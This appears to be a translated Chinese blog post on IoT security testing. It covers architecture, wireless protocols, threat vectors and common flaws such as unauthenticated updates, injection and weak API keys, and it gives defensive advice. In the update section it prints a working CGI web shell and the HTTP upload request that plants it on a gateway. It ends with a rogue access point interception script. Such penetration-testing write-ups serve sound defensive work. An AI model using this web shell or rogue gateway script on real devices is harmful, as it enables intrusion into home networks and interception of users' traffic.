前言
今年早些時候，我參與了許多關於物聯網解決方案的安全測試。主要目標是找出體系結構和解決方案中的漏洞。在這篇文章中，我將討論一些與物聯網解決方案的問題和挑戰。
什么是物聯網？
在你學習有關IPv6的時候，你的老師或許說過，有一天在你的房子每個設備都會有一個IP。物聯網基本上就是處理每天的事務，並把它們連接到互聯網上。一些常見的物聯網設備：如燈光，窗簾，空調。也有像冰箱這樣的不太常見的設備，甚至一個衛生間？（實際應用）
物聯網的定義是：“提出了互聯網的發展，日常物品有網絡連接，允許，發送和接收數據。”。
物聯網體系結構
通常有這五個部分：
- 執行器：通過物理過程控制事物，如空調機組，門鎖，窗簾，
- 網關：用於收集傳感器信息和控制中心
- 傳感器：用於檢測環境，例如光，運動，溫度，濕度，水/電量，
- 雲：Web界面或API托管用於收集數據的雲端web應用和大型數據集分析。一般來說，就是用來做信息與其他方資源共享時，
- 移動（app）：移動設備大多使用的，在設備上的應用程序，以實現手機端控制IoT環境來進行互動
物聯網環境本身的控制傳感器和執行器通常使用這些無線協議（還有更多的）：
- Wifi
- Zwave
- ZigBee
- Bluetooth
- RF433
每個協議都有其優缺點，也有很多的限制。當談到選擇哪種協議時，最大的問題是兼容性。下面的表格顯示了協議之間的快速對照：
主要的驅動程序使用特定的協議。例如rf433已經大范圍使用，但不具有網狀網絡和默認的安全機制。這意味着，如果你如果想要安全性，你就不得不拿出自己的協議，這意味着你的用戶將使用現成的傳感器或設備。ZigBee和Zwave在很大程度上都是一樣的。他倆之間的主要區別是在設備的通信范圍。
你可以從ZigBee安全技術白皮書中了解更多，這里也有一份相關文檔。
威脅矢量
任何安全評估你都需要了解你的敵人是誰，他們會如何攻擊系統並濫用使用它們。當我做威脅引導的時候我認為設備包含在環境中的信息，這些驅動器都在什么地方，都有可能構成什么樣風險。一個物聯網設備被黑可能是被用來針對物聯網環境或僅僅是變成一個僵屍網被用來攻擊外部網絡（或兩者的組合）。你應該評估什么可以影響執行器，以及如何確定傳感器的值可能會影響環境。要做到這一點，你必須很了解物聯網生態系統的工作方式，什么類型的設備可能會被使用，以及影響可能會如何擴大。
物聯網中常見的漏洞
- 未經身份驗證的更新機制
- SQL / JSON注入
- 設計邏輯
- 過於信任
未經身份驗證的更新機制
更新軟件包有很多不同的方法。有些人用在Linux系統中傳統的軟件包管理器，使用較少的傳統手段，如可執行程序，可運行於同一網絡上的計算機，來從雲環境倒推更新。這些更新的機制最大的問題是，他們不使用安全的手段來提供軟件包。例如使用單一的可執行文件的機制，訪問一個隱藏的API用於在網關替換文件。你需要做的是上傳CGI文件替換現有文件。在這種特定的情況下的網關是bash的CGI運行，所以就上傳了自己的shell：
#!/bin/sh echo -e "Content-type: text/html\r\n\r\n" echo "blaat" #echo "$QUERY_STRING" CMD="$QUERY_STRING" test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g') $test2
請求：
POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1 Content-Type: multipart/form-data; boundary=------7cf2a327f01ae User-Agent: REDACTED Host: 192.168.1.98:8181 Content-length: 482 Pragma: no-cache --------7cf2a327f01ae Content-Disposition: form-data; name="auth" 11366899 --------7cf2a327f01ae Content-Disposition: form-data; name="type" w --------7cf2a327f01ae Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi" #!/bin/sh echo -e "Content-type: text/html\r\n\r\n" echo "blaat" #echo "$QUERY_STRING" CMD="$QUERY_STRING" test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g') $test2 --------7cf2a327f01ae
你應該能猜出接下來會發生什么：
我的建議是利用現有的解決方案，如更新包管理器，如果你必須推出自己的更新包，請在安裝部署之前驗證它。
SQL/NoSQL injection
SQL注入已經是一個存在很長時間的漏洞，當然注入漏洞的產生是因為程序開發過程中不注意規范書寫sql語句和對特殊字符進行過濾,導致客戶端可以通過全局變量POST和GET提交一些sql語句正常執行。 我們可以看到很多的解決方案，很多開發商並不認為這是NoSQL數據庫的問題或只是不知道這是一個問題。在這里，我的建議是一定要做適當的輸入驗證和過濾。這里沒有案例分析，但可以看看這篇文章 websecurify.
設計邏輯和過於信任
由於沒有可用的參考架構，我們看到過很多的架構，雖然框架能使事情變得更容易，但它可能存在很大的風險威脅，一個單一的組件可能被破壞。此外，我們看到開發商認為通信中傳統用戶輸入是不會造成威脅的。在一個這樣的實例中，我們注意到，當攔截網關和雲之間的通信時，沒有從網關標識符（我們可以很容易地枚舉）的身份驗證。這導致了我們可以注入獲取其他用戶的信息。其他一些實例包括：
- 移動應用程序直接登錄到數據庫（所有設備使用相同的密碼）
- 本地網絡通信不加密
- 消息沒有簽名或進行加密
- 易暴力枚舉或不可撤銷信息（如出生和名稱為准）的使用作為API密鑰來識別用戶的網關
- 通過默默無聞的安全性
- 內部開發的加密算法
我在這里的建議：
- 接收端的信息適當編碼處理惡意信息，這意味着客戶機不應當為服務器和客戶機提供明文信息。一般使用審核和驗證框架。
- 如果設備在網絡中托管，不要指望任何輸入是值得信賴。
- 在所有通信中使用合適的加密（https）如果證書是無效的則不開放
- API密鑰相當普遍，以確定一個特定的網關。因為該標識符的服務器作為認證令牌，則需要確保該識別符是使用密碼安全RNG隨機生成的。一般建議使用128位（32個字符）。
- 即使是最知名的密碼學家也不能保證自己算法的百分百安全。
很多時候用戶希望使用自己的手機在家里遠程控制他們的服務。例如打開空調或打開門。這就會引發一個問題，你的網關通常位於路由器后面，而不是直接從Internet訪問。有些解決方案不需要使用端口轉發，但這還需要一個動態的DNS解決方案，需要用戶配置。
一般公司做的是移動應用程序將指令發送到雲端，然后網關從雲端獲取指令。
結論
人們總想着把任何東西都交給互聯網，但往往會發生嚴重的安全錯誤。大多數錯誤是由於安全目標不明確，缺乏經驗和意識。我們必須采取安全的物聯網策略，而不是期望他們來給我們安全。
一些物聯網安全的解決方案參考：
- GSMA IoT Security Guidelines – complete document set
- OWASP Internet of Things (IoT) Project
- AllJoyn Alliance (this is a framework under development for secure communication in the IoT environment)
- Iotivity(soon will be merged with AllJoyn)
分享個腳本，通過代理做一個從物聯網網關到互聯網的攔截。可以用於安全測試：
#!/bin/sh echo "Interface with internet connectivity: " read iInf echo "Secondary interface with rogue device: " read wInf echo "Stopping network manager ..." service network-manager stop echo "Stopping dnsmasq ..." service dnsmasq stop echo "Bringing down wireless interface ..." ifconfig $wInf down echo "Configuring wireless interface ..." ifconfig $wInf 192.168.1.1 netmask 255.255.255.0 echo "Starting dnsmasq as DHCP server ..." dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid echo "Stopping firewall and allowing everyone ..." iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -t mangle -F iptables -t mangle -X iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT echo "Enabling NAT ..." iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE echo "Enabling IP forwarding ..." echo 1 > /proc/sys/net/ipv4/ip_forward echo "Gateway setup is complete" iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080